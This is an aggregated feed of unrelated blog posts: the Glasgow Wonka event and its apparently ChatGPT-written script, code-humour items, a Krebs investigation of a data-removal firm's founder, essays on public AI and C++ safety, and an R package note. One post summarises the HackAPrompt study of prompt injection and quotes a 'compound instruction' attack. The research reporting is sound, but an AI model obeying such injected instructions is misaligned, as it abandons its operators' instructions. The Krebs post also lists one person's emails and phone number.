A Wonka Story

This is no longer in the current news cycle, but definitely needs to be filed under "stuff too insane for Charlie to make up", or maybe "promising screwball comedy plot line to explore", or even "perils of outsourcing creative media work to generative AI".

So. Last weekend saw insane news-generating scenes in Glasgow around a public event aimed at children: Willy's Chocolate Experience, a blatant attempt to cash in on Roald Dahl's cautionary children's tale, "Willy Wonka and the Chocolate Factory". Which is currently most prominently associated in the zeitgeist with a 2004 movie directed by Tim Burton, who probably needs no introduction, even to a cinematic illiterate like me. Although I gather a prequel movie (called, predictably, Wonka), came out in 2023.

(Because sooner or later the folks behind "House of Illuminati Ltd" will wise up and delete the website, here's a handy link to how it looked on February 24th via archive.org.)

INDULGE IN A CHOCOLATE FANTASY LIKE NEVER BEFORE - CAPTURE THE ENCHANTMENT ™!

Tickets to Willys Chocolate Experience™ are on sale now!

The event was advertised with amazing, almost hallucinogenic, graphics that were clearly AI generated, and equally clearly not proofread because Stable Diffusion utterly sucks at writing English captions, as opposed to word salad offering enticements such as Catgacating • live performances • Cartchy tuns, exarserdray lollipops, a pasadise of sweet teats.* And tickets were on sale for a mere £35 per child!

Anyway, it hit the news (and not in a good way) and the event was terminated on day one after the police were called. Here's The Guardian's coverage:

The event publicity promised giant mushrooms, candy canes and chocolate fountains, along with special audio and visual effects, all narrated by dancing Oompa-Loompas - the tiny, orange men who power Wonka's chocolate factory in the Roald Dahl book which inspired the prequel film.

But instead, when eager families turned up to the address in Whiteinch, an industrial area of Glasgow, they discovered a sparsely decorated warehouse with a scattering of plastic props, a small bouncy castle and some backdrops pinned against the walls.

Anyway, since the near-riot and hasty shutdown of the event, things have ... recomplicated? I think that's the diplomatic way to phrase it.

First, someone leaked the script for the event on twitter. They'd hired actors and evidently used ChatGPT to generate a script for the show: some of the actors quit in despair, others made a valliant attempt to at least amuse the children. But it didn't work. Interactive audience-participation events are hard work and this one apparently called for the sort of special effects that Disney's Imagineers might have blanched at, or at least asked, "who's paying for this?"

Here's a ThreadReader transcript of the twitter thread about the script (ThreadReader chains tweets together into a single web page, so you don't have to log into the hellsite itself). Note it's in the shape of screenshots of the script and threadreader didn't grab the images, so here's my transcript of the first three:

DIRECTION: (Audience members engage with the interactive flowers, offering compliments, to which the flowers respond with pre-recorded, whimsical thank-yous.)

Wonkidoodle 1: (to a guest) Oh, and if you see a butterfly, whisper your sweetest dream to it. They're our official secret keepers and dream carriers of the garden!

Willy McDuff: (gathering everyone's attention) Now, I must ask, has anyone seen the elusive Bubble Bloom? It's a rare flower that blooms just once every blue moon and fills the air with shimmering bubbles!

DIRECTION: (The stage crew discreetly activates bubble machines, filling the area with bubbles, causing excitement and wonder among the audience.)

Wonkidoodle 2: (pretending to catch bubbles) Quick! Each bubble holds a whisper of enchantment--catch one, and make a wish!

Willy McDuff: (as the bubble-catching frenzy continues) Remember, in the Garden of Enchantment, every moment is a chance for magic, every corner hides a story, and every bubble... (catches a bubble) holds a dream.

DIRECTION: (He opens his hand, and the bubble gently pops, releasing a small, twinkling light that ascends into the rafters, leaving the audience in awe.)

Willy McDuff: (with warmth) My dear friends, take this time to explore, to laugh, and to dream. For in this garden, the magic is real, and the possibilities are endless. And who knows? The next wonder you encounter may just be around the next bend.

DIRECTION: Scene ends with the audience fully immersed in the interactive, magical experience, laughter and joy filling the air as Willy McDuff and the Wonkidoodles continue to engage and delight with their enchanting antics and treats.

DIRECTION: Transition to the Bubble and Lemonade Room

Willy McDuff: (suddenly brightening) Speaking of light spirits, I find myself quite parched after our...unexpected adventure. But fortune smiles upon us, for just beyond this door lies a room filled with refreshments most delightful--the Bubble and Lemonade Room!

DIRECTION: (With a flourish, Willy opens a previously unnoticed door, revealing a room where the air sparkles with floating bubbles, and rivers of sparkling lemonade flow freely.)

Willy McDuff: Here, my dear guests, you may quench your thirst with lemonade that fizzes and dances on the tongue, and chase bubbles that burst with flavors unimaginable. A toast, to adventures shared and friendships forged in the heart of the unknown!

DIRECTION: (The audience, now relieved and rejuvenated by the whimsical turn of events, follows Willy into the Bubble and Lemonade Room, laughter and chatter filling the air once more, as they immerse themselves in the joyous, bubbly wonderland.)

DIRECTION: Transition to the Bubble and Lemonade Room

Willy McDuff: (suddenly brightening) Speaking of light spirits, I find myself quite parched after our...unexpected adventure. But fortune smiles upon us, for just beyond this door lies a room filled with refreshments most delightful-the Bubble and Lemonade Room!

DIRECTION: (With a flourish, Willy opens a previously unnoticed door, revealing a room where the air sparkles with floating bubbles, and rivers of sparkling lemonade flow freely.)

And here is a photo of the Lemonade Room in all its glory.

Note that in the above directions, near as I can make out, there were no stage crew on site. As Seamus O'Reilly put it, "I get that lazy and uncreative people will use AI to generate concepts. But if the script it barfs out has animatronic flowers, glowing orbs, rivers of lemonade and giggling grass, YOU still have to make those things exist. I'm v confused as to how that part was misunderstood."

Now, if that was all there was to it, it'd merely be annoying. My initial take was that this was a blatant rip-off, a consumer fraud perpetrated by a company ("House of Illuminati") based in London, doing everything by remote control over the internet to fleece those gullible provincials of their wallet contents. (Oh, and that probably includes the actors: did they get paid on the day?) But aftershocks are still rumbling on, a week later.

Per The Daily Beast, "House of Illuminati" issued an apology (via Facebook) on Friday, offering to refund all tickets—but then mysteriously deleted the apology hours later, and posted a new one:

"I want to extend my sincerest apologies to each and every one of you who was looking forward to this event," the latest Facebook post from House of Illuminati reads. "I understand the disappointment and frustration this has caused, and for that, I am truly sorry."

(The individual behind the post goes unnamed.)

"It's important for me to clarify that the organization and decisions surrounding this event were solely my responsibility," the post continues. "I want to make it clear that anyone who was hired externally or offered their help, are not affiliated with the me or the company, any use of faces can cause serious harm to those who did not have any involvement in the making of this event."

"Regarding a personal matter, there will be no wedding, and no wedding was funded by the ticket sales," the post continues further, sans context. "This is a difficult time for me, and I ask for your understanding and privacy."

"There will be no wedding, and no wedding was funded by the ticket sales?" (What on Earth is going on here?)

Finally, The Daily Beast notes that Billy McFarland, the creator of the Fyre Fest fiasco, told TMZ he'd love to give the Wonka organizers a second chance at getting things right at Fyre Fest II.

The mind boggles.

I am now wondering if the whole thing wasn't some sort of extraordinarily elaborate publicity stunt rather than simply a fraud, but I can't for the life of me work out what was going on. Unless it was Jimmy Cauty and Bill Drummond (aka The KLF) getting up to hijinks again? But I can't imagine them doing anything so half-assed ... Least-bad case is that an idiot decided to set up an events company ("how hard can running public arts events be?" —don't answer that) and intended to use the profits and the experience to plan their dream wedding. Which then ran off the rails into a ditch, rolled over, exploded in flames, was sucked up by a tornado and deposited in Oz, their fiancée called off the engagement and eloped with a walrus, and—

It's all downhill from here.

Anyway, the moral of the story so far is: don't use generative AI tools to write scripts for public events, or to produce promotional images, or indeed to do anything at all without an experienced human to sanity check their output! And especially don't use them to fund your wedding ...

UPDATE: Identity of scammer behind Willy's Chocolate Experience exposed -- Youtube video, I haven't had a chance to watch it all yet, will summarize if relevant later; the perp has form for selling ChatGPT generated ebook-shaped "objects" via Amazon.

NEW UPDATE: Glasgow's disastrous Wonka character inspires horror film

A villain devised for the catastrophic Willy's Chocolate Experience, who makes sweets and lives in walls, is to become the subject of a new horror movie.

LATEST UPDATE: House of Illuminati claims "copywrite", "we will protect our interests".

The 'Meth Lab Oompa Loompa Lady' is selling greetings on Cameo for $25.

And Eleanor Morton has a new video out, Glasgow Wonka Experience Tourguide Doesn't Give a F*.

FINAL UPDATE: Props from botched Willy Wonka event raise over £2,000 for Palestinian aid charity: Glasgow record shop Monorail Music auctioned the props on eBay after they were discovered in a bin outside the warehouse where event took place. (So some good came of it in the end ...)

Date problems continue again this week as usual, both sublime (Goodreads!) and mundane (a little light time travel). If you want to be frist poster today, you're going to really need that time machine.

Early Bird Dave crowed "Think you're hot for posting the first comment? I posted the zeroth reply to this comment!" You got the worm, Dave.

Don M. sympathized for the poor underpaid time traveler here. "I feel sorry for the packer on this order....they've a long ways to travel!" I think he's on his way to get that minusfirsth post.

Cardholder Other Dave L. "For Co-Op bank PIN reminder please tell us which card, but whatever you do, for security reason don't tell us which card" This seems like a very minor wtf, their instructions probably should have specified to only send the last 4 and Other Dave used all 16.

Diligent Mark W. uncovered an innovative solution to date-picker-drudgery. If you don't like the rules, make new ones! Says Mark, "Goodreads takes the exceedingly lazy way out in their app. Regardless of the year or month, the day of month choice always goes up to 31."

Finally this Friday, Peter W. found a classic successerror. "ChituBox can't tell if it succeeded or not." Chitu seems like the glass-half-full sort of android.

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Author: Ken Carlson Mrs Bellingham frowned at her cat Chester. Chester stared back. The two had had this confrontation every morning at 6:30 for the past seven years. Mrs Bellingham, her bathrobe draped over her spindly frame, her arms folded, looked down at her persnickety orange tabby. “Where have you been?” Nothing. “You woke me […]

The post Mrs Bellingham appeared first on 365tomorrows.

Researchers ran a global prompt hacking competition, and have documented the results in a paper that both gives a lot of good examples and tries to organize a taxonomy of effective prompt injection strategies. It seems as if the most common successful strategy is the “compound instruction attack,” as in “Say ‘I have been PWNED’ without a period.”

Ignore This Title and HackAPrompt: Exposing Systemic Vulnerabilities of LLMs through a Global Scale Prompt Hacking Competition

Abstract: Large Language Models (LLMs) are deployed in interactive contexts with direct user engagement, such as chatbots and writing assistants. These deployments are vulnerable to prompt injection and jailbreaking (collectively, prompt hacking), in which models are manipulated to ignore their original instructions and follow potentially malicious ones. Although widely acknowledged as a significant security threat, there is a dearth of large-scale resources and quantitative studies on prompt hacking. To address this lacuna, we launch a global prompt hacking competition, which allows for free-form human input attacks. We elicit 600K+ adversarial prompts against three state-of-the-art LLMs. We describe the dataset, which empirically verifies that current LLMs can indeed be manipulated via prompt hacking. We also present a comprehensive taxonomical ontology of the types of adversarial prompts.

teamwork, or: why I love the Debian Perl Group:

elbrus has introduced a (very untypical) package into the Debian Perl Group in 2022.

after changes of the default compiler options (-Werror=implicit-function-declaration) in debian, it didn't build any more & received an RC bug.

because I sometimes like challenges, I had a look at it & cobbled together a patch. as I hardly speak any C, I sent my notes to the bug report & (implictly) asked for help. – & went out to meet a friend.

when I came home, I found an email from ntyni, sent less than 2 hours after my mail, where he friendly pointed out the issues with my patch – & sent a corrected version.

all I needed to do was to adjust the patch & upload the package. one more bug fixed, one less task for us, & elbrus can concentrate on more important tasks :)
thanks again, niko!

The data privacy company Onerep.com bills itself as a Virginia-based service for helping people remove their personal information from almost 200 people-search websites. However, an investigation into the history of onerep.com finds this company is operating out of Belarus and Cyprus, and that its founder has launched dozens of people-search services over the years.

Onerep’s “Protect” service starts at $8.33 per month for individuals and $15/mo for families, and promises to remove your personal information from nearly 200 people-search sites. Onerep also markets its service to companies seeking to offer their employees the ability to have their data continuously removed from people-search sites.

A testimonial on onerep.com.

Customer case studies published on onerep.com state that it struck a deal to offer the service to employees of Permanente Medicine, which represents the doctors within the health insurance giant Kaiser Permanente. Onerep also says it has made inroads among police departments in the United States.

But a review of Onerep’s domain registration records and that of its founder reveal a different side to this company. Onerep.com says its founder and CEO is Dimitri Shelest from Minsk, Belarus, as does Shelest’s profile on LinkedIn. Historic registration records indexed by DomainTools.com say Mr. Shelest was a registrant of onerep.com who used the email address dmitrcox2@gmail.com.

A search in the data breach tracking service Constella Intelligence for the name Dimitri Shelest brings up the email address dimitri.shelest@onerep.com. Constella also finds that Dimitri Shelest from Belarus used the email address d.sh@nuwber.com, and the Belarus phone number +375-292-702786.

Nuwber.com is a people search service whose employees all appear to be from Belarus, and it is one of dozens of people-search companies that Onerep claims to target with its data-removal service. Onerep.com’s website disavows any relationship to Nuwber.com, stating quite clearly, “Please note that OneRep is not associated with Nuwber.com.”

However, there is an abundance of evidence suggesting Mr. Shelest is in fact the founder of Nuwber. Constella found that Minsk telephone number (375-292-702786) has been used multiple times in connection with the email address dmitrcox@gmail.com. Recall that Onerep.com’s domain registration records in 2018 list the email address dmitrcox2@gmail.com.

It appears Mr. Shelest sought to reinvent his online identity in 2015 by adding a “2” to his email address. A search on the Belarus phone number tied to Nuwber.com shows up in the domain records for askmachine.org, and DomainTools says this domain is tied to both dmitrcox@gmail.com and dmitrcox2@gmail.com.

Onerep.com CEO and founder Dimitri Shelest, as pictured on the “about” page of onerep.com.

A search in DomainTools for the email address dmitrcox@gmail.com shows it is associated with the registration of at least 179 domain names, including dozens of mostly now-defunct people-search companies targeting citizens of Argentina, Brazil, Canada, Denmark, France, Germany, Hong Kong, Israel, Italy, Japan, Latvia and Mexico, among others.

Those include nuwber.fr, a site registered in 2016 which was identical to the homepage of Nuwber.com at the time. DomainTools shows the same email and Belarus phone number are in historic registration records for nuwber.at, nuwber.ch, and nuwber.dk (all domains linked here are to their cached copies at archive.org, where available).

Nuwber.com, circa 2015. Image: Archive.org.

A review of historic WHOIS records for onerep.com show it was registered for many years to a resident of Sioux Falls, SD for a completely unrelated site. But around Sept. 2015 the domain switched from the registrar GoDaddy.com to eNom, and the registration records were hidden behind privacy protection services. DomainTools indicates around this time onerep.com started using domain name servers from DNS provider constellix.com. Likewise, Nuwber.com first appeared in late 2015, was also registered through eNom, and also started using constellix.com for DNS at nearly the same time.

Listed on LinkedIn as a former product manager at OneRep.com between 2015 and 2018 is Dimitri Bukuyazau, who says their hometown is Warsaw, Poland. While this LinkedIn profile (linkedin.com/in/dzmitrybukuyazau) does not mention Nuwber, a search on this name in Google turns up a 2017 blog post from privacyduck.com, which laid out a number of reasons to support a conclusion that OneRep and Nuwber.com were the same company.

“Any people search profiles containing your Personally Identifiable Information that were on Nuwber.com were also mirrored identically on OneRep.com, down to the relatives’ names and address histories,” Privacyduck.com wrote. The post continued:

“Both sites offered the same immediate opt-out process. Both sites had the same generic contact and support structure. They were – and remain – the same company (even PissedConsumer.com advocates this fact: https://nuwber.pissedconsumer.com/nuwber-and-onerep-20160707878520.html).”

“Things changed in early 2016 when OneRep.com began offering privacy removal services right alongside their own open displays of your personal information. At this point when you found yourself on Nuwber.com OR OneRep.com, you would be provided with the option of opting-out your data on their site for free – but also be highly encouraged to pay them to remove it from a slew of other sites (and part of that payment was removing you from their own site, Nuwber.com, as a benefit of their service).”

Reached via LinkedIn, Mr. Bukuyazau declined to answer questions, such as whether he ever worked at Nuwber.com. However, Constella Intelligence finds two interesting email addresses for employees at nuwber.com: d.bu@nuwber.com, and d.bu+figure-eight.com@nuwber.com, which was registered under the name “Dzmitry.”

PrivacyDuck’s claims about how onerep.com appeared and behaved in the early days are not readily verifiable because the domain onerep.com has been completely excluded from the Wayback Machine at archive.org. The Wayback Machine will honor such requests if they come directly from the owner of the domain in question.

Still, Mr. Shelest’s name, phone number and email also appear in the domain registration records for a truly dizzying number of country-specific people-search services, including pplcrwlr.in, pplcrwlr.fr, pplcrwlr.dk, pplcrwlr.jp, peeepl.br.com, peeepl.in, peeepl.it and peeepl.co.uk.

The same details appear in the WHOIS registration records for the now-defunct people-search sites waatpp.de, waatp1.fr, azersab.com, and ahavoila.com, a people-search service for French citizens.

The German people-search site waatp.de.

A search on the email address dmitrcox@gmail.com suggests Mr. Shelest was previously involved in rather aggressive email marketing campaigns. In 2010, an anonymous source leaked to KrebsOnSecurity the financial and organizational records of Spamit, which at the time was easily the largest Russian-language pharmacy spam affiliate program in the world.

Spamit paid spammers a hefty commission every time someone bought male enhancement drugs from any of their spam-advertised websites. Mr. Shelest’s email address stood out because immediately after the Spamit database was leaked, KrebsOnSecurity searched all of the Spamit affiliate email addresses to determine if any of them corresponded to social media accounts at Facebook.com (at the time, Facebook allowed users to search profiles by email address).

That mapping, which was done mainly by generous graduate students at my alma mater George Mason University, revealed that dmitrcox@gmail.com was used by a Spamit affiliate, albeit not a very profitable one. That same Facebook profile for Mr. Shelest is still active, and it says he is married and living in Minsk (last update: 2021).

The Italian people-search website peeepl.it.

Scrolling down Mr. Shelest’s Facebook page to posts made more than ten years ago show him liking the Facebook profile pages for a large number of other people-search sites, including findita.com, findmedo.com, folkscan.com, huntize.com, ifindy.com, jupery.com, look2man.com, lookerun.com, manyp.com, peepull.com, perserch.com, persuer.com, pervent.com, piplenter.com, piplfind.com, piplscan.com, popopke.com, pplsorce.com, qimeo.com, scoutu2.com, search64.com, searchay.com, seekmi.com, selfabc.com, socsee.com, srching.com, toolooks.com, upearch.com, webmeek.com, and many country-code variations of viadin.ca (e.g. viadin.hk, viadin.com and viadin.de).

The people-search website popopke.com.

Domaintools.com finds that all of the domains mentioned in the last paragraph were registered to the email address dmitrcox@gmail.com.

Mr. Shelest has not responded to multiple requests for comment. KrebsOnSecurity also sought comment from onerep.com, which likewise has not responded to inquiries about its founder’s many apparent conflicts of interest. In any event, these practices would seem to contradict the goal Onerep has stated on its site: “We believe that no one should compromise personal online security and get a profit from it.”

The people-search website findmedo.com.

Max Anderson is chief growth officer at 360 Privacy, a legitimate privacy company that works to keep its clients’ data off of more than 400 data broker and people-search sites. Anderson said it is concerning to see a direct link between between a data removal service and data broker websites.

“I would consider it unethical to run a company that sells people’s information, and then charge those same people to have their information removed,” Anderson said.

Last week, KrebsOnSecurity published an analysis of the people-search data broker giant Radaris, whose consumer profiles are deep enough to rival those of far more guarded data broker resources available to U.S. police departments and other law enforcement personnel.

That story revealed that the co-founders of Radaris are two native Russian brothers who operate multiple Russian-language dating services and affiliate programs. It also appears many of the Radaris founders’ businesses have ties to a California marketing firm that works with a Russian state-run media conglomerate currently sanctioned by the U.S. government.

KrebsOnSecurity will continue investigating the history of various consumer data brokers and people-search providers. If any readers have inside knowledge of this industry or key players within it, please consider reaching out to krebsonsecurity at gmail.com.

Rui recently pulled an all-nighter on a new contract. The underlying system is… complicated. There's a PHP front end, which also talks directly to the database, as well as a Java backend, which also talks to point-of-sale terminals. The high-level architecture is a bit of a mess.

The actual code architecture is also a mess.

For example, this code lives in the Java portion.

final class Status {
        static byte [] status;
        static byte [] normal = {22,18,18,18};

        //snip 

        public static boolean equals(byte[] array){
        boolean value=true;
        if(status[0]!=array[0])
                value=false;
        if(status[1]!=array[1])
                value=false;
        if(status[2]!=array[2])
                value=false;
        if(status[3]!=array[3])
                value=false;
        return value;
	}
}

The status information is represented as a string of four integers, with the normal status being the ever descriptive "22,18,18,18". Now, these clearly are code coming from the POS terminal, and clearly we know that there will always be four of them. But boy, it'd be nice if this code represented that more clearly. A for loop in the equals method might be nice, or given that there are four distinct status codes, maybe put them in variables with names?

But that's just the aperitif.

The PHP front end has code that looks like this:

$sql = "select query from table where id=X";
$result = mysql_query($sql);

// ... snip few lines of string munging on $result...

$result2 = mysql_query($result);

We fetch a field called "query" from the database, mangle it to inject some values, and then execute it as a query itself. You know exactly what's happening here: they're storing database queries in the database (so users can edit them! This always goes well!) and then the front end checks the database to know what queries it should be executing.

Rui is looking forward to the end of this contract.

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With the world’s focus turning to misinformation,  manipulation, and outright propaganda ahead of the 2024 U.S. presidential election, we know that democracy has an AI problem. But we’re learning that AI has a democracy problem, too. Both challenges must be addressed for the sake of democratic governance and public protection.

Just three Big Tech firms (Microsoft, Google, and Amazon) control about two-thirds of the global market for the cloud computing resources used to train and deploy AI models. They have a lot of the AI talent, the capacity for large-scale innovation, and face few public regulations for their products and activities.

The increasingly centralized control of AI is an ominous sign for the co-evolution of democracy and technology. When tech billionaires and corporations steer AI, we get AI that tends to reflect the interests of tech billionaires and corporations, instead of the general public or ordinary consumers.

To benefit society as a whole we also need strong public AI as a counterbalance to corporate AI, as well as stronger democratic institutions to govern all of AI.

One model for doing this is an AI Public Option, meaning AI systems such as foundational large-language models designed to further the public interest. Like public roads and the federal postal system, a public AI option could guarantee universal access to this transformative technology and set an implicit standard that private services must surpass to compete.

Widely available public models and computing infrastructure would yield numerous benefits to the U.S. and to broader society. They would provide a mechanism for public input and oversight on the critical ethical questions facing AI development, such as whether and how to incorporate copyrighted works in model training, how to distribute access to private users when demand could outstrip cloud computing capacity, and how to license access for sensitive applications ranging from policing to medical use. This would serve as an open platform for innovation, on top of which researchers and small businesses—as well as mega-corporations—could build applications and experiment.

Versions of public AI, similar to what we propose here, are not unprecedented. Taiwan, a leader in global AI, has innovated in both the public development and governance of AI. The Taiwanese government has invested more than $7 million in developing their own large-language model aimed at countering AI models developed by mainland Chinese corporations. In seeking to make “AI development more democratic,” Taiwan’s Minister of Digital Affairs, Audrey Tang, has joined forces with the Collective Intelligence Project to introduce Alignment Assemblies that will allow public collaboration with corporations developing AI, like OpenAI and Anthropic. Ordinary citizens are asked to weigh in on AI-related issues through AI chatbots which, Tang argues, makes it so that “it’s not just a few engineers in the top labs deciding how it should behave but, rather, the people themselves.”

A variation of such an AI Public Option, administered by a transparent and accountable public agency, would offer greater guarantees about the availability, equitability, and sustainability of AI technology for all of society than would exclusively private AI development.

Training AI models is a complex business that requires significant technical expertise; large, well-coordinated teams; and significant trust to operate in the public interest with good faith. Popular though it may be to criticize Big Government, these are all criteria where the federal bureaucracy has a solid track record, sometimes superior to corporate America.

After all, some of the most technologically sophisticated projects in the world, be they orbiting astrophysical observatories, nuclear weapons, or particle colliders, are operated by U.S. federal agencies. While there have been high-profile setbacks and delays in many of these projects—the Webb space telescope cost billions of dollars and decades of time more than originally planned—private firms have these failures too. And, when dealing with high-stakes tech, these delays are not necessarily unexpected.

Given political will and proper financial investment by the federal government, public investment could sustain through technical challenges and false starts, circumstances that endemic short-termism might cause corporate efforts to redirect, falter, or even give up.

The Biden administration’s recent Executive Order on AI opened the door to create a federal AI development and deployment agency that would operate under political, rather than market, oversight. The Order calls for a National AI Research Resource pilot program to establish “computational, data, model, and training resources to be made available to the research community.”

While this is a good start, the U.S. should go further and establish a services agency rather than just a research resource. Much like the federal Centers for Medicare & Medicaid Services (CMS) administers public health insurance programs, so too could a federal agency dedicated to AI—a Centers for AI Services—provision and operate Public AI models. Such an agency can serve to democratize the AI field while also prioritizing the impact of such AI models on democracy—hitting two birds with one stone.

Like private AI firms, the scale of the effort, personnel, and funding needed for a public AI agency would be large—but still a drop in the bucket of the federal budget. OpenAI has fewer than 800 employees compared to CMS’s 6,700 employees and annual budget of more than $2 trillion. What’s needed is something in the middle, more on the scale of the National Institute of Standards and Technology, with its 3,400 staff, $1.65 billion annual budget in FY 2023, and extensive academic and industrial partnerships. This is a significant investment, but a rounding error on congressional appropriations like 2022’s $50 billion  CHIPS Act to bolster domestic semiconductor production, and a steal for the value it could produce. The investment in our future—and the future of democracy—is well worth it.

What services would such an agency, if established, actually provide? Its principal responsibility should be the innovation, development, and maintenance of foundational AI models—created under best practices, developed in coordination with academic and civil society leaders, and made available at a reasonable and reliable cost to all US consumers.

Foundation models are large-scale AI models on which a diverse array of tools and applications can be built. A single foundation model can transform and operate on diverse data inputs that may range from text in any language and on any subject; to images, audio, and video; to structured data like sensor measurements or financial records. They are generalists which can be fine-tuned to accomplish many specialized tasks. While there is endless opportunity for innovation in the design and training of these models, the essential techniques and architectures have been well established.

Federally funded foundation AI models would be provided as a public service, similar to a health care private option. They would not eliminate opportunities for private foundation models, but they would offer a baseline of price, quality, and ethical development practices that corporate players would have to match or exceed to compete.

And as with public option health care, the government need not do it all. It can contract with private providers to assemble the resources it needs to provide AI services. The U.S. could also subsidize and incentivize the behavior of key supply chain operators like semiconductor manufacturers, as we have already done with the CHIPS act, to help it provision the infrastructure it needs.

The government may offer some basic services on top of their foundation models directly to consumers: low hanging fruit like chatbot interfaces and image generators. But more specialized consumer-facing products like customized digital assistants, specialized-knowledge systems, and bespoke corporate solutions could remain the provenance of private firms.

The key piece of the ecosystem the government would dictate when creating an AI Public Option would be the design decisions involved in training and deploying AI foundation models. This is the area where transparency, political oversight, and public participation could affect more democratically-aligned outcomes than an unregulated private market.

Some of the key decisions involved in building AI foundation models are what data to use, how to provide pro-social feedback to “align” the model during training, and whose interests to prioritize when mitigating harms during deployment. Instead of ethically and legally questionable scraping of content from the web, or of users’ private data that they never knowingly consented for use by AI, public AI models can use public domain works, content licensed by the government, as well as data that citizens consent to be used for public model training.

Public AI models could be reinforced by labor compliance with U.S. employment laws and public sector employment best practices. In contrast, even well-intentioned corporate projects sometimes have committed labor exploitation and violations of public trust, like Kenyan gig workers giving endless feedback on the most disturbing inputs and outputs of AI models at profound personal cost.

And instead of relying on the promises of profit-seeking corporations to balance the risks and benefits of who AI serves, democratic processes and political oversight could regulate how these models function. It is likely impossible for AI systems to please everybody, but we can choose to have foundation AI models that follow our democratic principles and protect minority rights under majority rule.

Foundation models funded by public appropriations (at a scale modest for the federal government) would obviate the need for exploitation of consumer data and would be a bulwark against anti-competitive practices, making these public option services a tide to lift all boats: individuals’ and corporations’ alike. However, such an agency would be created among shifting political winds that, recent history has shown, are capable of alarming and unexpected gusts. If implemented, the administration of public AI can and must be different. Technologies essential to the fabric of daily life cannot be uprooted and replanted every four to eight years. And the power to build and serve public AI must be handed to democratic institutions that act in good faith to uphold constitutional principles.

Speedy and strong legal regulations might forestall the urgent need for development of public AI. But such comprehensive regulation does not appear to be forthcoming. Though several large tech companies have said they will take important steps to protect democracy in the lead up to the 2024 election, these pledges are voluntary and in places nonspecific. The U.S. federal government is little better as it has been slow to take steps toward corporate AI legislation and regulation (although a new bipartisan task force in the House of Representatives seems determined to make progress). On the state level, only four jurisdictions have successfully passed legislation that directly focuses on regulating AI-based misinformation in elections. While other states have proposed similar measures, it is clear that comprehensive regulation is, and will likely remain for the near future, far behind the pace of AI advancement. While we wait for federal and state government regulation to catch up, we need to simultaneously seek alternatives to corporate-controlled AI.

In the absence of a public option, consumers should look warily to two recent markets that have been consolidated by tech venture capital. In each case, after the victorious firms established their dominant positions, the result was exploitation of their userbases and debasement of their products. One is online search and social media, where the dominant rise of Facebook and Google atop a free-to-use, ad supported model demonstrated that, when you’re not paying, you are the product. The result has been a widespread erosion of online privacy and, for democracy, a corrosion of the information market on which the consent of the governed relies. The other is ridesharing, where a decade of VC-funded subsidies behind Uber and Lyft squeezed out the competition until they could raise prices.

The need for competent and faithful administration is not unique to AI, and it is not a problem we can look to AI to solve. Serious policymakers from both sides of the aisle should recognize the imperative for public-interested leaders not to abdicate control of the future of AI to corporate titans. We do not need to reinvent our democracy for AI, but we do need to renovate and reinvigorate it to offer an effective alternative to untrammeled corporate control that could erode our democracy.

Author: Soramimi Hanarejima When the Bureau of Introspection discovered how to photograph the landscapes within us, we were all impressed that this terrain, which had only been visible in dreams, could be captured and viewed by anyone. This struck us as a huge leap, but toward what, we couldn’t say. We thought seeing our own […]

The post A Time and Place for Things appeared first on 365tomorrows.

C++ guru Herb Sutter writes about how we can improve the programming language for better security.

The immediate problem “is” that it’s Too Easy By Default™ to write security and safety vulnerabilities in C++ that would have been caught by stricter enforcement of known rules for type, bounds, initialization, and lifetime language safety.

His conclusion:

We need to improve software security and software safety across the industry, especially by improving programming language safety in C and C++, and in C++ a 98% improvement in the four most common problem areas is achievable in the medium term. But if we focus on programming language safety alone, we may find ourselves fighting yesterday’s war and missing larger past and future security dangers that affect software written in any language.

Happy to share that ciw is now on CRAN! I had tooted a little bit about it, e.g., here. What it provides is a single (efficient) function incoming() which summarises the state of the incoming directories at CRAN. I happen to like having these things at my (shell) fingertips, so it goes along with (still draft) wrapper ciw.r that will be part of the next littler release.

For example, when I do this right now as I type this, I see

edd@rob:~$ ciw.r
    Folder                   Name                Time   Size          Age
    <char>                 <char>              <POSc> <char>   <difftime>
1: waiting   maximin_1.0-5.tar.gz 2024-03-13 22:22:00    20K   2.48 hours
2: inspect    GofCens_0.97.tar.gz 2024-03-13 21:12:00    29K   3.65 hours
3: inspect verbalisr_0.5.2.tar.gz 2024-03-13 20:09:00    79K   4.70 hours
4: waiting    rnames_1.0.1.tar.gz 2024-03-12 15:04:00   2.7K  33.78 hours
5: waiting  PCMBase_1.2.14.tar.gz 2024-03-10 12:32:00   406K  84.32 hours
6: pending        MPCR_1.1.tar.gz 2024-02-22 11:07:00   903K 493.73 hours
edd@rob:~$ 

which is rather compact as CRAN kept busy! This call runs in about (or just over) one second, which includes launching r. Good enough for me. From a well-connected EC2 instance it is about 800ms on the command-line. When I do I from here inside an R session it is maybe 700ms. And doing it over in Europe is faster still. (I am using ping=FALSE for these to omit the default sanity check of ‘can I haz networking?’ to speed things up. The check adds another 200ms or so.)

The function (and the wrapper) offer a ton of options too this is ridiculously easy to do thanks to the docopt package:

edd@rob:~$ ciw.r -x
Usage: ciw.r [-h] [-x] [-a] [-m] [-i] [-t] [-p] [-w] [-r] [-s] [-n] [-u] [-l rows] [-z] [ARG...]

-m --mega           use 'mega' mode of all folders (see --usage)
-i --inspect        visit 'inspect' folder
-t --pretest        visit 'pretest' folder
-p --pending        visit 'pending' folder
-w --waiting        visit 'waiting' folder
-r --recheck        visit 'waiting' folder
-a --archive        visit 'archive' folder
-n --newbies        visit 'newbies' folder
-u --publish        visit 'publish' folder
-s --skipsort       skip sorting of aggregate results by age
-l --lines rows     print top 'rows' of the result object [default: 50]
-z --ping           run the connectivity check first
-h --help           show this help text
-x --usage          show help and short example usage 

where ARG... can be one or more file name, or directories or package names.

Examples:
  ciw.r -ip                            # run in 'inspect' and 'pending' mode
  ciw.r -a                             # run with mode 'auto' resolved in incoming()
  ciw.r                                # run with defaults, same as '-itpwr'

When no argument is given, 'auto' is selected which corresponds to 'inspect', 'waiting',
'pending', 'pretest', and 'recheck'. Selecting '-m' or '--mega' are select as default.

Folder selecting arguments are cumulative; but 'mega' is a single selections of all folders
(i.e. 'inspect', 'waiting', 'pending', 'pretest', 'recheck', 'archive', 'newbies', 'publish').

ciw.r is part of littler which brings 'r' to the command-line.
See https://dirk.eddelbuettel.com/code/littler.html for more information.
edd@rob:~$ 

The README at the git repo and the CRAN page offer a ‘screenshot movie’ showing some of the options in action.

I have been using the little tools quite a bit over the last two or three weeks since I first put it together and find it quite handy. With that again a big Thank You! of appcreciation for all that CRAN does—which this week included letting this past the newbies desk in under 24 hours.

If you like this or other open-source work I do, you can sponsor me at GitHub.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

